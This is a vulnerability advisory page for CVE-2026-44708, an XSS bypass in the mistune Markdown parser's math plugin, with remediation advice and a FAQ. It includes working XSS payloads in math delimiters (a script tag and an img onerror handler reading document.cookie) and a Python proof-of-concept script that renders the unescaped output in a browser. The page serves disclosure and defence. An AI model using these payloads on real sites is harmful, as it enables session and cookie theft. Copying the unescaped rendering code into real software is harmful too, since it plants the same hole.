CVE-2026-44708: Mistune Math Plugin XSS Escape Bypass

Published May 8, 2026
·
Updated

Summary The mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM.

The result is a silent contract violation: a developer who enables escape=True reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer's escape flag entirely.

Details File: src/mistune/plugins/math.py

python def renderinlinemath(renderer, text): # text is raw user input — no escape() call anywhere return r'<span class="math">\(' + text + r"\)</span>"

def renderblockmath(renderer, text): # same issue for block-level $$...$$ return '<div class="math">$$\n' + text + "\n$$</div>\n"

Both functions take text directly from the parsed token and concatenate it into the output string. Neither function: - calls escape(text) from mistune.util - checks renderer.escape - calls safeentity(text) or any other sanitisation helper

The escape=True flag only influences the main HTMLRenderer methods (paragraph, heading, codespan, etc.). Plugin render functions registered via md.renderer.register() receive the renderer instance but have no mechanism that enforces the escape contract - they must opt in manually, and math.py does not.

PoC Step 1 — Establish the baseline (escape=True works for plain HTML)

The script creates a markdown parser with escape=True and the math plugin enabled, then feeds it a raw <script> tag that is not inside math delimiters:

python md = createmarkdown(escape=True, plugins=["math"]) blsrc = "<script>alert(document.cookie)</script>\n" blout = str(md(blsrc))

Expected and actual output — the script tag is correctly escaped: html <p>&lt;script&gt;alert(document.cookie)&lt;/script&gt;</p>

This confirms escape=True is working for the normal render path.

Step 2 — Craft the exploit payload

Wrap the identical <script> payload inside inline math delimiters $...$. The content is token-extracted as text and handed to renderinlinemath():

python exsrc = "$<script>alert(document.cookie)</script>$\n" exout = str(md(exsrc))

Step 3 — Observe the bypass

Actual output — the script tag is emitted raw, unescaped: html <p><span class="math">\(<script>alert(document.cookie)</script>\)</span></p>

The <script> block is live inside the <span class="math"> wrapper. Any browser that renders this HTML will execute alert(document.cookie).

Step 4 — Block math variant ($$...$$)

The same bypass applies to block-level math. Payload: $$ <img src=x onerror="alert(document.cookie)"> $$

Output: html <div class="math">$$ <img src=x onerror="alert(document.cookie)"> $$</div>

The onerror handler fires as soon as the browser tries to load the non-existent image x.

Script

A verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser.

python #!/usr/bin/env python3 """H1: Math plugin bypasses escape=True — HTML inside $...$ passes through raw.""" import os, html as h from mistune import createmarkdown

md = createmarkdown(escape=True, plugins=["math"])

--- baseline --- blfile = "baselineh1.md" blsrc = "<script>alert(document.cookie)</script>\n" with open(os.path.join(os.getcwd(), blfile), "w") as f: f.write(blsrc) blout = str(md(blsrc))

print(f"[{blfile}]\n{blsrc}") print("[output — escape=True works normally here]") print(blout)

--- exploit --- exfile = "exploith1.md" exsrc = "$<script>alert(document.cookie)</script>$\n" with open(os.path.join(os.getcwd(), exfile), "w") as f: f.write(exsrc) exout = str(md(exsrc))

print(f"[{exfile}]\n{exsrc}") print("[output — escape=True bypassed inside math delimiters]") print(exout)

--- HTML report --- CSS = """ body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px} h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px} p.desc{color:#555;font-size:.9em;margin-top:6px} .case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)} .case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em} .baseline .case-header{background:#d1fae5;color:#065f46} .exploit .case-header{background:#fee2e2;color:#7f1d1d} .panels{display:grid;grid-template-columns:1fr 1fr;background:#fff} .panel{padding:16px} .panel+.panel{border-left:1px solid #eee} .panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em} pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all} .rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace} .rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em} """

def case(kind, label, filename, src, out): return f""" <div class="case {kind}"> <div class="case-header">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div> <div class="panels"> <div class="panel"> <h3>Input — {h.escape(filename)}</h3> <pre>{h.escape(src)}</pre> </div> <div class="panel"> <h3>Output — HTML source</h3> <pre>{h.escape(out)}</pre> <div class="rlabel">↓ rendered in browser</div> <div class="rendered">{out}</div> </div> </div> </div>"""

page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"> <title>H1 — Math XSS</title><style>{CSS}</style></head><body> <h1>H1 — Math Plugin XSS (escape=True bypass)</h1> <p class="desc">renderinlinemath() in plugins/math.py concatenates user content without escape(). The escape=True renderer flag is completely ignored inside $...$ delimiters.</p> {case("baseline", "Same HTML outside $...$ — escape=True works", blfile, blsrc, blout)} {case("exploit", "Same HTML inside $...$ — escape=True bypassed", exfile, exsrc, exout)} </body></html>"""

outpath = os.path.join(os.getcwd(), "reporth1.html") with open(outpath, "w") as f: f.write(page) print(f"\n[report] {outpath}")

Example usage: bash python poc.py

Once the script is run, open reporth1.html in the browser and observe the behaviour.

Impact | Dimension | Assessment | |------------------|-----------| | Confidentiality | Attacker can exfiltrate session cookies, auth tokens, and any data visible to the victim's browser session | | Integrity | Attacker can mutate page content, inject phishing forms, redirect the user, or perform authenticated actions | | Availability | Attacker can crash or freeze the page (denial-of-service to the user) |

Risk amplifier: This is a bypass of an explicit security control. Developers who have audited their application and confirmed escape=True is set believe they have XSS protection. This vulnerability silently invalidates that assumption for every math-enabled parser instance, making it likely to be missed in code reviews and security audits.

Other sources

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the mistune math plugin renders inline math ($...$) and block math ($$...$$) by concatenating the raw user-supplied content directly into the HTML output without any HTML escaping. This occurs even when the parser is explicitly created with escape=True, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM. This vulnerability is fixed in 3.2.1.

MITRE

Affected Software

3 affected components
pip/mistune<=3.2.0
Mistune Project Mistune<3.2.1
Microsoft azl3 python-mistune 3.0.2-1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade mistune math plugin to a version that resolves this vulnerability.

    Fixed in 3.2.1

Event History

May 8, 2026
Advisory Published
via GitHub·11:40 PM
Data Sourced
via GitHub·11:40 PM
DescriptionSeverityWeaknessAffected Software
May 26, 2026
CVE Published
via MITRE·08:39 PM
Data Sourced
via MITRE·08:39 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeaknessAffected Software
May 28, 2026
Data Sourced
via Microsoft·08:06 AM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-44708?

The severity of CVE-2026-44708 is considered high due to the lack of HTML escaping, which can lead to Cross-Site Scripting (XSS) vulnerabilities.

2

How do I fix CVE-2026-44708?

To fix CVE-2026-44708, upgrade to mistune version 3.2.1 or later, which includes the necessary patches for this vulnerability.

3

Who is affected by CVE-2026-44708?

CVE-2026-44708 affects users of the mistune package version 3.2.0 and below, particularly those using inline and block math rendering.

4

What kind of vulnerabilities does CVE-2026-44708 open up?

CVE-2026-44708 opens up vulnerabilities to Cross-Site Scripting (XSS) attacks due to improper handling of user-supplied content.

5

When was CVE-2026-44708 reported?

CVE-2026-44708 was reported recently, highlighting a critical security flaw in the mistune math plugin.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203